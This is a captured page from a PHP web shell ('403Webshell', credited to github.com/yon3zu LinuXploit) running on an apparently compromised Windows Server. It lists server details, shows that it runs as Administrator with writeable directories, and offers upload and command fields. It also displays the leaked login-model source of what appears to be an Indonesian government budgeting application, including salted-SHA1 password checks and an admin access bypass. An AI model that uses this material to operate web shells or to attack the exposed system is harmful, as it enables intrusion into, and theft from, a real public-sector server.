403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/SIPBOS_2020/application/modules/auth/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/SIPBOS_2020/application/modules/auth/models/login_model_.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Login_model extends Core_Model
{

  function __construct()
  {
    parent::__construct();
    $this->load->library('encrypt');
  }

  function check_user($username, $password)
  {
    $qryUser = $this->db->get_where('users', array('username' => $username));

    if( $user = $qryUser->row_array() )
    {
      // status user aktif ?
      if($user["STATUS"] == '1')
      {
        // cek group admin
        $group_id = 0;
        if ($this->app_id === 'SIPKD') $group_id = isset($user['GROUP_ID']) ? $user['GROUP_ID'] : 0;
        else if ($this->app_id === 'APBD') $group_id = isset($user['GROUP_ID2']) ? $user['GROUP_ID2'] : 0;
        $qryGroup = $this->db->get_where('groups', array('id' => $group_id));

        if ( $group = $qryGroup->row_array() )
        {
          // status group aktif ?
          if ($group['STATUS'] == '1')
          {
            if ($user['PASSWD'] == sha1($user['SALT'].$password))
            {
              return 2; // sukses login
            }
            else {
              return false;
            }
          }
          else return 3; // group tidak aktif
        }
      }
      else return 1; // user di blokir
    }
    else
    {
      return false; // username tidak dikenali
    }
  }

  function get_user_info($username)
  {
    $this->db->select('*');
    $this->db->from('users u');
    $this->db->join('v_skpd s', 's.id_skpd = u.skpd_id', 'left');
    $this->db->where('username', $username);
    $nama = $this->db->get();
    return $nama->row_array();
  }

  function get_status($tahun)
  {
    $this->db->select('coalesce(cast(STATUS_KINI as varchar(20)), cast(STATUS_AWAL as varchar(20)), cast( \'-\' as varchar(20))) status');
    $this->db->where('TAHUN', $tahun);
    $status = $this->db->get('TAHUN_ANGGARAN');
    return $status->row_array();
  }

  function get_thn()
  {
    $this->db->select('TAHUN');
    $this->db->order_by('TAHUN desc');
    $query = $this->db->get('TAHUN_ANGGARAN');

    foreach($query->result_array() as $row)
    {
      $result[$row['TAHUN']] = $row['TAHUN'];
    }
    return $result;
  }

  function get_sts($tahun = 0)
  {
    $result = false;
    $this->db->select ('STATUS');
    $this->db->where('TAHUN', $tahun);
    $status = $this->db->get('STATUS_ANGGARAN');
    foreach ($status->result_array() as $row)
    {
      $result[$row['STATUS']] = $row['STATUS'];
    }
    return $result;
  }

  function get_status_kua_ppa()
  {
    $this->db->trans_start();
    $id = $this->db->query('select KUA_PPA as ID from KONFIGURASI')->row_array();
    return $id['ID'];
    $this->db->trans_complete();
  }

  function cek_status($tahun)
  {
    $this->db->where('TAHUN',$tahun);
    $cek = $this->db->get('TAHUN_ANGGARAN')->row_array();
    return $cek['STATUS_AWAL'];
  }

  function get_pemda()
  {
    $this->db->select('NAMA_PEMDA');
    $pemda = $this->db->get('PEMDA');
    return $pemda->row_array();
  }

  function get_level_akses($uri)
  {
    // jika user sebagai admin, bypass semua akses
    if ($this->session->userdata('admin'))
    {
      return 3;
    }
    
    $this->db->select('p.aksi');
    $this->db->from('menu m');
    $this->db->join('m_privilege p', 'p.id = m.id');
    $this->db->where('p.group_id', $this->group);
    $this->db->where('m.appid', $this->app_id);
    $this->db->where('m.link', $uri);
    $result = $this->db->get()->row_array();

    return isset($result['AKSI']) ? $result['AKSI'] : 0;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit